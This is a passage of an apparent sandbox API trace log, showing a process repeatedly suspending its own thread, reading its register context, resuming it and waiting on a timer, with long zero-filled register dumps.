FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0178.574] ResumeThread (hThread=0x170) returned 0x1 [0178.574] CloseHandle (hObject=0x170) returned 1 [0178.574] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0178.574] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0178.574] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0178.574] SuspendThread (hThread=0x170) returned 0x0 [0178.574] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0178.645] ResumeThread (hThread=0x170) returned 0x1 [0178.645] CloseHandle (hObject=0x170) returned 1 [0178.645] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0178.645] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0178.645] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0178.645] SuspendThread (hThread=0x170) returned 0x0 [0178.645] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0178.826] ResumeThread (hThread=0x170) returned 0x1 [0178.826] CloseHandle (hObject=0x170) returned 1 [0178.827] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0178.828] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0178.828] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0178.828] SuspendThread (hThread=0x170) returned 0x0 [0178.828] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0178.832] ResumeThread (hThread=0x170) returned 0x1 [0178.832] CloseHandle (hObject=0x170) returned 1 [0178.832] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0178.832] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0178.832] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0178.832] SuspendThread (hThread=0x170) returned 0x0 [0178.832] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, 